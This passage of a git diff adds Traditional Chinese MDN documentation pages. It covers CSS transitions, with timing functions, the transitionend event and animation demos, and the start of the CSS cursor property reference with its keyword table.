+ <p>原文 : <a href="/en/CSS/CSS_transitions" title="en/CSS/CSS_transitions">https://developer.mozilla.org/en/CSS/CSS_transitions</a></p>
+ <p> </p>
+ <div>
+  <p>{{ SeeCompatTable() }}</p>
+  <p>   CSS transitions 是 CSS3 specification 草案的一部分，他可以用來調整 CSS animation 變動的速度。舉例來說，倘若你設計了一個 element 會由白轉紅，你可以透過 CSS transitions 來控制轉變的時間及變化曲線。</p>
+  <div class="note">
+   <strong>注意：</strong> CSS transitions specification 目前仍舊以草案形式存在，所以當你要在 Gecko 的系統中使用時，記得加上 "-moz-" 的前綴。此外，為了更好的相容，你還得加上 "-webkit-" 前綴 (給基於 Webkit 技術的瀏覽器)以及 "-o-" (Opera 使用)。舉例來說，你可能會寫出包含有 <code>-moz-transition</code>, <code>-webkit-transition 及</code> <code>-o-transition 的程式。</code></div>
+  <h2 id="可供調整的_CSS_property_清單">可供調整的 CSS property 清單</h2>
+  <p>  CSS transitions 和 CSS animations 中可以用來修改的屬性在 <a class="external" href="http://oli.jp/2010/css-animatable-properties/">CSS animatable properties</a> 可以看到。這裡頭同時包含了 SVG properties。</p>
+  <div class="note">
+   <strong>注意:</strong> 這些列出 properties 可能都還會改變，所以請使用已經被支援的那些，以免造成無法預期的結果。</div>
+  <h2 id="CSS_transition_properties">CSS transition properties</h2>
+  <p>  我們可以透過 {{ cssxref("transition") }} property 來控制 CSS transitions。這可有效避免使用過長的參數來控制你的 transitions，這樣亦減少了 debug 的難度。</p>
+  <p>  下列的 sub-properties 可以協助你控制轉場的性質：</p>
+  <dl>
+   <dt>
+    {{ cssxref("transition-property") }}</dt>
+   <dd>
+     定義哪些 CSS properties 會被轉場效果影響。除了這些被你特別指出的 property 名單，其他的轉場一如以往的會在瞬間完成。</dd>
+   <dt>
+    {{ cssxref("transition-duration") }}</dt>
+   <dd>
+    定義轉場所花費的時間。你可以只定義一個時間給所有 property 使用，也可以給定多組不同時間。</dd>
+   <dt>
+    {{ cssxref("transition-timing-function") }}</dt>
+   <dd>
+    設定轉場時所依據的貝茲曲線。</dd>
+   <dt>
+    {{ cssxref("transition-delay") }}</dt>
+   <dd>
+    定義多久之後開始發生轉場。</dd>
+  </dl>
+  <h2 id="使用漸變函式_(transition_timing_function)">使用漸變函式 (transition timing function)</h2>
+  <p>  漸變函式可用來定義轉場發生的時間曲線。其規範方式是以四個參數的貝茲曲線代表：</p>
+  <p><img alt="" src="/@api/deki/files/5226/=transition-timing-function.png"></p>
+  <p>  <a class="external" href="http://cssglue.com/cubic">CSS transition function manipulator</a> 是一個可以讓你非常容易以視覺化方式了解轉場流程的工具。</p>
+  <p>  除了自行定義之外，尚有幾個已經預先定義好的函式：</p>
+  <ul>
+   <li><strong>ease</strong>, 等同於 <code>cubic-bezier(0.25, 0.1, 0.25, 1.0)</code></li>
+   <li><strong>linear</strong>, 等同於 <code>cubic-bezier(0.0, 0.0, 1.0, 1.0)</code></li>
+   <li><strong>ease-in</strong>, 等同於 <code>cubic-bezier(0.42, 0, 1.0, 1.0)</code></li>
+   <li><strong>ease-out</strong>, 等同於 <code>cubic-bezier(0, 0, 0.58, 1.0)</code></li>
+   <li><strong>ease-in-out</strong>, 等同於 <code>cubic-bezier(0.42, 0, 0.58, 1.0)</code></li>
+  </ul>
+  <h3 id="一個_transition_timing_effect_範例">一個 transition timing effect 範例</h3>
+  <p>  我們在這直接用範例來說明。</p>
+  <p>  在看程式碼之前，或許你會想先看看實際的執行效果。請挑個有支援 transitions 的瀏覽器，然後<a href="/samples/cssref/transitions/sample3" title="samples/cssref/transitions/sample3">看看這個</a> (而<a href="/samples/cssref/transitions/sample3/transitions.css" title="samples/cssref/transitions/sample3/transitions.css">這裡</a>有這個範例的相關 CSS 程式碼)。</p>
+  <p>  首先，先以 HTML 創建這個範例的主要外殼：</p>
+  <pre class="brush: html">&lt;ul&gt;
+  &lt;li id="long1"&gt;Long, gradual transition...&lt;/li&gt;
+  &lt;li id="fast1"&gt;Very fast transition...&lt;/li&gt;
+  &lt;li id="delay1"&gt;Long transition with a 2-second delay...&lt;/li&gt;
+  &lt;li id="easeout"&gt;Using ease-out timing...&lt;/li&gt;
+  &lt;li id="linear"&gt;Using linear timing...&lt;/li&gt;
+  &lt;li id="cubic1"&gt;Using cubic-bezier(0.2, 0.4, 0.7, 0.8)...&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+  <p>  如你所見，每個 item 都有自己的 ID。剩下的部份交由 CSS 來處理。</p>
+  <h4 id="使用延遲機制">使用延遲機制</h4>
+  <p>  這個範例會在使用者滑鼠移過 element 後兩秒開始四秒的字體大小變化：</p>
+  <pre class="brush: css">#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+</pre>
+  <h4 id="使用線性轉場函式_(linear_transition_timing_function)">使用線性轉場函式 (linear transition timing function)</h4>
+  <p>  如果你希望動畫的變動是以線性的速率，那你可以寫成：</p>
+  <pre class="brush: css">transition-timing-function: linear;
+</pre>
+  <p>  此外，還有許多不同的 timing functions 供你選擇，請見 {{ cssxref("transition-timing-function") }}。</p>
+  <h4 id="用貝茲曲線定義_timing_function">用貝茲曲線定義 timing function</h4>
+  <p>  你可以定義自己想要的 timing function，這要用貝茲曲線 (cubic bezier curve) 的形式定義之：</p>
+  <pre class="brush: css">  transition-timing-function: cubic-bezier(0.2, 0.4, 0.7, 0.8);
+</pre>
+  <p>  上例中我們定義了一個以 (0.0, 0.0), (0.2, 0.4), (0.7, 0.8) 和 (1.0, 1.0) 描述的貝茲曲線。</p>
+  <h2 id="偵測_transition_的完成">偵測 transition 的完成</h2>
+  <p>  在設計上，當 transition 完成時會觸發一個 event。在 Firefox 中，他是 <code>transitionend ; 在</code> Opera 中，他是 <code>oTransitionEnd ; 而在</code> WebKit 中，他是  <code>webkitTransitionEnd。請注意相容性的問題(參閱本頁最下方)。</code></p>
+  <p>  <code>transitionend</code> event 提供了兩個 properties：</p>
+  <dl>
+   <dt>
+    <code>propertyName</code></dt>
+   <dd>
+    這指出哪個 CSS property 的 transition 已經完成。</dd>
+   <dt>
+    <code>elapsedTime</code></dt>
+   <dd>
+    指出 transition 花費了幾秒。注意，他不受 {{ cssxref("transition-delay") }} 影響。</dd>
+  </dl>
+  <p>  在平常使用上，你可以使用 {{ domxref("element.addEventListener()") }} method 來監控：</p>
+  <pre class="brush: js">el.addEventListener("transitionend", updateTransition, true);
+</pre>
+  <div class="note">
+   <strong>注意:</strong> "transitionend" event 若 transition 在執行中被中斷(意指 transition 沒有真正完成)則不會觸發。</div>
+  <h2 id="當_property_value_list_之間並不等長時_...">當 property value list 之間並不等長時 ... ?</h2>
+  <p>  如果某個 property 的 list 長度比其他短時，他將會被重複，直到等長。例如：</p>
+  <pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+</pre>
+  <p>  他會被瀏覽器解釋成：</p>
+  <pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}</pre>
+  <p>  可以預期地，倘若列出的 value 過多，他會被切斷。例如：</p>
+  <pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}</pre>
+  <p>  那麼他等同於：</p>
+  <pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}</pre>
+  <h2 id="使用_transitions_來強調選單中的選項">使用 transitions 來強調選單中的選項</h2>
+  <p>  一個使用 CSS 的好時機是用來強調目前使用者滑鼠經過的選單位置。使用 transitions 可以使效果變得更吸引人。</p>
+  <p>  在看實際的程式碼之前，你可以先看<a href="/samples/cssref/transitions/sample2" title="samples/cssref/transitions/sample2">實際的範例</a> (當然你的瀏覽器要能支援 transitions)。相關的 CSS 程式在<a href="/samples/cssref/transitions/sample2/transitions.css" title="samples/cssref/transitions/sample2/transitions.css">這裡</a>。 </p>
+  <p>  我們先用 HTML 構建外殼：</p>
+  <pre class="brush: html">&lt;div class="sidebar"&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="home"&gt;Home&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="about"&gt;About&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="contact"&gt;Contact Us&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="links"&gt;Links&lt;/a&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+  <p>  接著用 CSS 來產生特效：</p>
+  <pre class="brush: css">.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  -webkit-transition-property: background-color, color;
+  -webkit-transition-duration: 1s;
+  -o-transition-property: background-color, color;
+  -o-transition-duration: 1s;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  -moz-box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  -webkit-transition-property: background-color, color;
+  -webkit-transition-duration: 1s;
+  -o-transition-property: background-color, color;
+  -o-transition-duration: 1s;
+  background-color:white;
+  color:black;
+  -moz-box-shadow: 2px 2px 1px black;
+}
+</pre>
+  <p>  這些 CSS 程式使滑鼠滑過時 (在該 element 的 {{ cssxref(":hover") }} state) 造成背景及文字顏色的改變。</p>
+  <h2 id="使用_transitions_來使_JavaScript_運作的更順暢">使用 transitions 來使 JavaScript 運作的更順暢</h2>
+  <p>  Transition 是一種很好的工具，他可以幫助你的 JavaScript 執行結果看起來的更為順暢。舉例來說：</p>
+  <pre><span class="xml-punctuation">&lt;</span><span class="xml-tagname">p</span><span class="xml-punctuation">&gt;</span><span class="xml-text">Click anywhere to move the ball</span><span class="xml-punctuation">&lt;/</span><span class="xml-tagname">p</span><span class="xml-punctuation">&gt;</span>
+<span class="xml-punctuation">&lt;</span><span class="xml-tagname">div </span><span class="xml-attname">id</span><span class="xml-punctuation">=</span><span class="xml-attribute">"foo"</span><span class="xml-punctuation">&gt;</span><span class="xml-punctuation">&lt;/</span><span class="xml-tagname">div</span><span class="xml-punctuation">&gt;</span>
+</pre>
+  <p>  當你使用 JavaScript 可以將 ball 移動到特定位置：</p>
+  <pre><span class="js-keyword">var </span><span class="js-variable">f </span><span class="js-operator">= </span><span class="js-variable">document</span><span class="js-punctuation">.</span><span class="js-property">getElementById</span><span class="js-punctuation">(</span><span class="js-string">'foo'</span><span class="js-punctuation">)</span><span class="js-punctuation">;</span>
+<span class="js-variable">document</span><span class="js-punctuation">.</span><span class="js-property">addEventListener</span><span class="js-punctuation">(</span><span class="js-string">'click'</span><span class="js-punctuation">, </span><span class="js-keyword">function</span><span class="js-punctuation">(</span><span class="js-variabledef">ev</span><span class="js-punctuation">)</span><span class="js-punctuation">{</span>
+<span class="whitespace">    </span><span class="js-variable">f</span><span class="js-punctuation">.</span><span class="js-property">style</span><span class="js-punctuation">.</span><span class="js-property">left </span><span class="js-operator">= </span><span class="js-punctuation">(</span><span class="js-localvariable">ev</span><span class="js-punctuation">.</span><span class="js-property">clientX</span><span class="js-operator">-</span><span class="js-atom">25</span><span class="js-punctuation">)</span><span class="js-operator">+</span><span class="js-string">'px'</span><span class="js-punctuation">;</span>
+<span class="whitespace">    </span><span class="js-variable">f</span><span class="js-punctuation">.</span><span class="js-property">style</span><span class="js-punctuation">.</span><span class="js-property">top </span><span class="js-operator">= </span><span class="js-punctuation">(</span><span class="js-localvariable">ev</span><span class="js-punctuation">.</span><span class="js-property">clientY</span><span class="js-operator">-</span><span class="js-atom">25</span><span class="js-punctuation">)</span><span class="js-operator">+</span><span class="js-string">'px'</span><span class="js-punctuation">;</span>
+<span class="js-punctuation">}</span><span class="js-punctuation">,</span><span class="js-atom">false</span><span class="js-punctuation">)</span><span class="js-punctuation">;    </span>
+</pre>
+  <p>  藉由 CSS，你可以使執行結果更為流暢。我們加入了：</p>
+  <pre><span class="css-selector">p</span><span class="css-punctuation">{
+  </span><span class="css-identifier">padding-left</span><span class="css-punctuation">:</span><span class="css-unit">60px</span><span class="css-punctuation">;
+</span><span class="css-punctuation">}</span>
+<span class="css-selector">#foo</span><span class="css-punctuation">{</span>
+<span class="css-identifier">  border-radius</span><span class="css-punctuation">:</span><span class="css-unit">50px</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  width</span><span class="css-punctuation">:</span><span class="css-unit">50px</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  height</span><span class="css-punctuation">:</span><span class="css-unit">50px</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  background</span><span class="css-punctuation">:</span><span class="css-colorcode">#c00</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  position</span><span class="css-punctuation">:</span><span class="css-value">absolute</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  top</span><span class="css-punctuation">:</span><span class="css-unit">0</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  left</span><span class="css-punctuation">:</span><span class="css-unit">0</span><span class="css-punctuation">;</span>
+<span class="css-identifier">  -moz-transition</span><span class="css-punctuation">: </span><span class="css-value">all </span><span class="css-unit">1s</span><span class="css-punctuation">; </span>
+<span class="css-identifier">  -webkit-transition</span><span class="css-punctuation">: </span><span class="css-value">all </span><span class="css-unit">1s</span><span class="css-punctuation">;  </span>
+<span class="css-identifier">  -ms-transition</span><span class="css-punctuation">: </span><span class="css-value">all </span><span class="css-unit">1s</span><span class="css-punctuation">;  </span>
+<span class="css-identifier">  -o-transition</span><span class="css-punctuation">: </span><span class="css-value">all </span><span class="css-unit">1s</span><span class="css-punctuation">;  </span>
+<span class="css-identifier">  transition</span><span class="css-punctuation">: </span><span class="css-value">all </span><span class="css-unit">1s</span><span class="css-punctuation">;  </span>
+<span class="css-punctuation">}</span>
+</pre>
+  <p>  你可以到 <a class="external" href="http://jsfiddle.net/RwtHn/5/" title="http://jsfiddle.net/RwtHn/5/">http://jsfiddle.net/RwtHn/5/</a> 看範例。</p>
+  <h2 id="使用_transition_events_來替_object_製作動畫">使用 transition events 來替 object 製作動畫</h2>
+  <p>  這裡讓我們看個例子，一個內含文字的方塊左右來回移動，並且會在兩種顏色之間做轉變：</p>
+  <p> </p>
+  <video controls src="https://developer.mozilla.org/samples/cssref/transitions/sample1/transitiondemo1.ogv">
+    </video>
+  <p>  在我們仔細研究程式碼之前可以先看<a href="/samples/cssref/transitions/sample1" title="samples/cssref/transitions/sample1">範例</a>。同樣地，可以到<a href="/samples/cssref/transitions/sample1/transitions.css" title="samples/cssref/transitions/sample1/transitions.css">這</a>看其 CSS 的寫法。</p>
+  <h3 id="HTML_程式碼">HTML 程式碼</h3>
+  <p>  搭配上面範例的 HTML 程式碼並不複雜：</p>
+  <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;CSS Transition Demo&lt;/title&gt;
+    &lt;link rel="stylesheet" href="transitions.css" type="text/css"&gt;
+    &lt;script src="transitions.js" type="text/javascript"&gt;&lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body onload="runDemo()"&gt;
+    &lt;div class="slideRight"&gt;This is a box!&lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+  <p>  這裡唯一要注意的地方是我們用 slideRight 來修飾 "This is a box!"。此外，在這個文件被讀取時，就會觸發 <code>runDemo()</code> function。</p>
+  <h3 id="CSS_程式碼">CSS 程式碼</h3>
+  <p>  我們使用 slideRight 和 slideLeft 這兩個 CSS class 來建構動畫 (請參閱 <a href="/samples/cssref/transitions/sample1/transitions.css" title="https://developer.mozilla.org/samples/cssref/transitions/sample1/transitions.css"><code>transitions.css</code></a> )。這裡列出部分：</p>
+  <pre class="brush: css">.slideRight {
+  position: absolute;
+  -moz-transition-property: background-color, color, left;
+  -moz-transition-duration: 5s;
+  -webkit-transition-property: background-color, color, left;
+  -webkit-transition-duration: 5s;
+  -o-transition-property: background-color, color, left;
+  -o-transition-duration: 5s;
+  background-color: red;
+  left: 0%;
+  color: black;
+}
+</pre>
+  <p>  我們再這明確定義了 position property。這是一件必要的事情，不然動畫將不知道如何開始。</p>
+  <p>  {{ cssxref("transition-property") }} property 指出哪些 CSS properties 會被包含在動畫效果中。在這個例子中是 {{ cssxref("background-color") }}, {{ cssxref("color") }} 以及 {{ cssxref("left") }}。 {{ cssxref("transition-duration") }} property 則說明了整個動畫將歷時 5 秒。</p>
+  <p>  為了相容於 WebKit 及 Opera，當中還定了一些以 "-webkit-" 和 "-o-" 起始的 property。</p>
+  <p>  總的來說， "slideRight" class 定義了最左端點時的狀態 (準備向右滑動)。所以你可以看到 {{ cssxref("left") }} property 是 0% 。</p>
+  <p>  下面我們定義了 "slideLeft" class，他表示最右端時的狀態 (準備向左滑動)：</p>
+  <pre class="brush: css">.slideLeft {
+  position: absolute;
+  -moz-transition-property: background-color, color, left;
+  -moz-transition-duration: 5s;
+  -webkit-transition-property: background-color, color, left;
+  -webkit-transition-duration: 5s;
+  -o-transition-property: background-color, color, left;
+  -o-transition-duration: 5s;
+  text-align: center;
+  background-color: blue;
+  left: 90%;
+  color: white;
+  width: 100px;
+  height: 100px;
+}</pre>
+  <h3 id="JavaScript_程式碼">JavaScript 程式碼</h3>
+  <p>  在定義了左右兩端點的狀態後，現在我們可以準備來描述 animation 了。這可以簡單的透過 JavaScript 達成。</p>
+  <div class="note">
+   <strong>注意：</strong> 在這裡，倘若 <a class="external" href="/zh_tw/CSS_動畫" title="zh_tw/CSS_動畫">CSS animations</a> 被使用者的瀏覽器支援，那就未必要使用 JavaScript 了。</div>
+  <p>  首先定義 <code>runDemo()</code> function，他將在文件被讀取後立刻執行：</p>
+  <pre class="brush: js">function runDemo() {
+  var el = updateTransition();
+
+  // Set up an event handler to reverse the direction
+  // when the transition finishes.
+
+  el.addEventListener("transitionend", updateTransition, true);
+}
+</pre>
+  <p>  他呼叫了 <code>updateTransition()</code> function (這待會會定義)，並且他捕捉了 "transitionend" event，這使我們能夠知道動畫結束了。</p>
+  <p><code><font face="'Lucida Grande', 'Lucida Sans Unicode', Lucida, Arial, Helvetica, sans-serif"><span style="line-height: 13px;">  </span></font>updateTransition()</code> function 內容如下：</p>
+  <pre class="brush: js">function updateTransition() {
+  var el = document.querySelector("div.slideLeft");
+
+  if (el) {
+    el.className = "slideRight";
+  } else {
+    el = document.querySelector("div.slideRight");
+    el.className = "slideLeft";
+  }
+
+  return el;
+}
+</pre>
+  <p>  這裡的機制很簡單，我們找到 "slideLeft" 而後將他改變成 "slideRight"，接著動畫便結束。倘若此時並沒有 "slideLeft"，就表示已在右端點，於是執行反向動作。</p>
+  <h2 id="瀏覽器的支援情形">瀏覽器的支援情形</h2>
+  <p>{{ CompatibilityTable() }}</p>
+  <div id="compat-desktop">
+   <table class="compat-table">
+    <tbody>
+     <tr>
+      <th>Feature</th>
+      <th>Chrome</th>
+      <th>Firefox (Gecko)</th>
+      <th>Internet Explorer</th>
+      <th>Opera</th>
+      <th>Safari (WebKit)</th>
+     </tr>
+     <tr>
+      <td>Basic support</td>
+      <td>1.0</td>
+      <td>{{ CompatGeckoDesktop("2") }}</td>
+      <td>10</td>
+      <td>10.5</td>
+      <td>3.2</td>
+     </tr>
+     <tr>
+      <td>Property</td>
+      <td><code>-webkit-transition</code></td>
+      <td><code>-moz-transition</code></td>
+      <td><code>-ms-transition</code></td>
+      <td><code>-o-transition</code></td>
+      <td><code>-webkit-transition</code></td>
+     </tr>
+     <tr>
+      <td>Transition ended event</td>
+      <td><code>webkitTransitionEnd</code></td>
+      <td><code>transitionend</code></td>
+      <td><code>MSTransitionEnd</code></td>
+      <td><code>oTransitionEnd</code></td>
+      <td><code>webkitTransitionEnd</code></td>
+     </tr>
+    </tbody>
+   </table>
+  </div>
+  <div id="compat-mobile">
+   <table class="compat-table">
+    <tbody>
+     <tr>
+      <th>Feature</th>
+      <th>Android</th>
+      <th>Firefox Mobile (Gecko)</th>
+      <th>IE Phone</th>
+      <th>Opera Mobile</th>
+      <th>Safari Mobile</th>
+     </tr>
+     <tr>
+      <td>Basic support</td>
+      <td>2.1</td>
+      <td>{{ CompatGeckoMobile("2") }}</td>
+      <td>{{ CompatUnknown() }}</td>
+      <td>10</td>
+      <td>3.2</td>
+     </tr>
+    </tbody>
+   </table>
+  </div>
+  <h2 id="更多資訊">更多資訊</h2>
+  <ul>
+   <li><a class="external" href="http://dev.w3.org/csswg/css3-transitions/">CSS Transitions</a></li>
+   <li><a class="external" href="http://www.w3.org/TR/css3-transitions" title="http://www.w3.org/TR/css3-transitions">CSS Transitions Module Level 3</a></li>
+   <li><a class="external" href="http://oli.jp/2010/css-animatable-properties/">CSS animatable properties</a></li>
+   <li>{{ cssxref("-moz-transition") }}</li>
+   <li>{{ cssxref("-moz-transition-property") }}</li>
+   <li>{{ cssxref("-moz-transition-duration") }}</li>
+   <li>{{ cssxref("-moz-transition-timing-function") }}</li>
+   <li>{{ cssxref("-moz-transition-delay") }}</li>
+  </ul>
+  <p>{{ HTML5ArticleTOC() }}</p>
+  <p>{{ languages( { "es": "es/CSS/Transiciones_de_CSS", "ja": "ja/CSS/CSS_transitions" } ) }}</p>
+ </div>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/css/cursor/index.html b/files/zh-tw/web/css/cursor/index.html
new file mode 100644
index 0000000000..6e20cbbb43
--- /dev/null
+++ b/files/zh-tw/web/css/cursor/index.html
@@ -0,0 +1,306 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}</div>
+
+<p>此 <strong><code>cursor</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 屬性可以指定當滑鼠指標指向哪個物件時，顯示不同的游標.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/cursor.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: css no-line-numbers">/* 關鍵字值 */
+cursor: pointer;
+cursor: auto;
+
+/* URL, with a keyword fallback */
+cursor: url(hand.cur), pointer;
+
+/* URL and coordinates, with a keyword fallback */
+cursor: url(cursor1.png) 4 12, auto;
+cursor: url(cursor2.png) 2 2, pointer;
+
+/* 全域值 */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+</pre>
+
+<p>The <code>cursor</code> property is specified as zero or more <code><a href="#&lt;url>">&lt;url&gt;</a></code> values, separated by commas, followed by a single mandatory <a href="#Keyword values">keyword value</a>. Each <code>&lt;url&gt;</code> should point to an image file. The browser will try to load the first image specified, falling back to the next if it can't, and falling back to the keyword value if no images could be loaded (or if none were specified).</p>
+
+<p>Each <code>&lt;url&gt;</code> may be optionally followed by a pair of space-separated numbers, which represent <code><a href="#&lt;x> &lt;y>">&lt;x&gt;&lt;y&gt;</a></code> coordinates. These will set the cursor's hotspot, relative to the top-left corner of the image.</p>
+
+<p>For example, this specifies two images using <code>&lt;url&gt;</code> values, providing <code>&lt;x&gt;&lt;y&gt;</code> coordinates for the second one, and falling back to the <code>progress</code> keyword value if neither image can be loaded:</p>
+
+<pre class="brush: css">cursor: url(one.svg), url(two.svg) 5 5, progress;</pre>
+
+<h3 id="數值">數值</h3>
+
+<dl>
+ <dt><code id="&lt;url>">&lt;url&gt;</code></dt>
+ <dd>A <code>url(…)</code> or a comma separated list <code>url(…), url(…), …</code>, pointing to an image file. More than one {{cssxref("&lt;url&gt;")}} may be provided as fallbacks, in case some cursor image types are not supported. A non-URL fallback (one or more of the keyword values) <em>must</em> be at the end of the fallback list. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd>
+ <dt><a name="&lt;x> &lt;y>"><code>&lt;x&gt;</code> <code>&lt;y&gt;</code> </a>{{experimental_inline}}</dt>
+ <dd>Optional x- and y-coordinates. Two unitless nonnegative numbers less than 32.</dd>
+ <dt>關鍵字值</dt>
+ <dd>
+ <p><em>Move your mouse over values to see their live appearance in your browser:</em></p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">分類</th>
+    <th scope="col">CSS 值</th>
+    <th scope="col">範例</th>
+    <th scope="col">備註說明</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr style="cursor: auto;">
+    <th rowspan="3" scope="row">一般</th>
+    <td><code>auto</code></td>
+    <td> </td>
+    <td>The UA will determine the cursor to display based on the current context. E.g., equivalent to <code>text</code> when hovering text.</td>
+   </tr>
+   <tr style="cursor: default;">
+    <td><code>default</code></td>
+    <td><img alt="default.gif" src="/@api/deki/files/3438/=default.gif" style="height: 26px; width: 26px;"></td>
+    <td>The platform-dependent default cursor. Typically an arrow.</td>
+   </tr>
+   <tr style="cursor: none;">
+    <td><code>none</code></td>
+    <td> </td>
+    <td>No cursor is rendered.</td>
+   </tr>
+   <tr style="cursor: context-menu;">
+    <th rowspan="5" scope="row" style="cursor: auto;">連結與狀態</th>
+    <td><code>context-menu</code></td>
+    <td><img alt="context-menu.png" src="/@api/deki/files/3461/=context-menu.png" style="height: 26px; width: 26px;"></td>
+    <td>A context menu is available.</td>
+   </tr>
+   <tr style="cursor: help;">
+    <td><code>help</code></td>
+    <td><img alt="help.gif" src="/@api/deki/files/3442/=help.gif" style="height: 26px; width: 26px;"></td>
+    <td>Help information is available.</td>
+   </tr>
+   <tr style="cursor: pointer;">
+    <td><code>pointer</code></td>
+    <td><img alt="pointer.gif" src="/@api/deki/files/3449/=pointer.gif" style="height: 26px; width: 26px;"></td>
+    <td>The cursor is a pointer that indicates a link. Typically an image of a pointing hand.</td>
+   </tr>
+   <tr style="cursor: progress;">
+    <td><code>progress</code></td>
+    <td><img alt="progress.gif" src="/@api/deki/files/3450/=progress.gif" style="height: 26px; width: 26px;"></td>
+    <td>The program is busy in the background, but the user can still interact with the interface (in contrast to <code>wait</code>).</td>
+   </tr>
+   <tr style="cursor: wait;">
+    <td><code>wait</code></td>
+    <td><img alt="wait.gif" src="/@api/deki/files/3457/=wait.gif" style="height: 26px; width: 26px;"></td>
+    <td>The program is busy, and the user can't interact with the interface (in contrast to <code>progress</code>). Sometimes an image of an hourglass or a watch.</td>
+   </tr>
+   <tr style="cursor: cell;">
+    <th rowspan="4" scope="row" style="cursor: auto;">選取</th>
+    <td><code>cell</code></td>
+    <td><img alt="cell.gif" src="/@api/deki/files/3434/=cell.gif" style="height: 26px; width: 26px;"></td>
+    <td>The table cell or set of cells can be selected.</td>
+   </tr>
+   <tr style="cursor: crosshair;">
+    <td><code>crosshair</code></td>
+    <td><img alt="crosshair.gif" src="/@api/deki/files/3437/=crosshair.gif" style="height: 26px; width: 26px;"></td>
+    <td>Cross cursor, often used to indicate selection in a bitmap.</td>
+   </tr>
+   <tr style="cursor: text;">
+    <td><code>text</code></td>
+    <td><img alt="text.gif" class="default" src="/files/3809/text.gif" style="height: 26px; width: 26px;"></td>
+    <td>The text can be selected. Typically the shape of an I-beam.</td>
+   </tr>
+   <tr style="cursor: vertical-text;">
+    <td><code>vertical-text</code></td>
+    <td><img alt="vertical-text.gif" src="/@api/deki/files/3456/=vertical-text.gif" style="height: 26px; width: 26px;"></td>
+    <td>The vertical text can be selected. Typically the shape of a sideways I-beam.</td>
+   </tr>
+   <tr style="cursor: alias;">
+    <th rowspan="7" scope="row" style="cursor: auto;">拖曳</th>
+    <td><code>alias</code></td>
+    <td><img alt="alias.gif" src="/@api/deki/files/3432/=alias.gif" style="height: 26px; width: 26px;"></td>
+    <td>An alias or shortcut is to be created.</td>
+   </tr>
+   <tr style="cursor: copy;">
+    <td><code>copy</code></td>
+    <td><img alt="copy.gif" class="default" src="/@api/deki/files/3436/=copy.gif" style="height: 26px; width: 26px;"></td>
+    <td>Something is to be copied.</td>
+   </tr>
+   <tr style="cursor: move;">
+    <td><code>move</code></td>
+    <td><img alt="move.gif" src="/@api/deki/files/3443/=move.gif" style="height: 26px; width: 26px;"></td>
+    <td>Something is to be moved.</td>
+   </tr>
+   <tr style="cursor: no-drop;">
+    <td><code>no-drop</code></td>
+    <td><img alt="no-drop.gif" class="lwrap" src="/@api/deki/files/3445/=no-drop.gif" style="float: left; height: 26px; width: 33px;"></td>
+    <td>An item may not be dropped at the current location.<br>
+     {{bug("275173")}}: On Windows and Mac OS X, <code>no-drop</code> is the same as <code>not-allowed</code>.</td>
+   </tr>
+   <tr style="cursor: not-allowed;">
+    <td><code>not-allowed</code></td>
+    <td><img alt="not-allowed.gif" src="/@api/deki/files/3446/=not-allowed.gif" style="height: 26px; width: 26px;"></td>
+    <td>The requested action will not be carried out.</td>
+   </tr>
+   <tr id="grab" style="cursor: -moz-grab; cursor: -webkit-grab; cursor: grab;">
+    <td><code>grab</code></td>
+    <td><img alt="grab.gif" class="default" src="/@api/deki/files/3440/=grab.gif"></td>
+    <td>Something can be grabbed (dragged to be moved).</td>
+   </tr>
+   <tr style="cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing;">
+    <td><code>grabbing</code></td>
+    <td><img alt="grabbing.gif" class="default" src="/@api/deki/files/3441/=grabbing.gif"></td>
+    <td>Something is being grabbed (dragged to be moved).</td>
+   </tr>
+   <tr style="cursor: all-scroll;">
+    <th rowspan="15" scope="row" style="cursor: auto;">改變尺寸與捲軸尺</th>
+    <td><code>all-scroll</code></td>
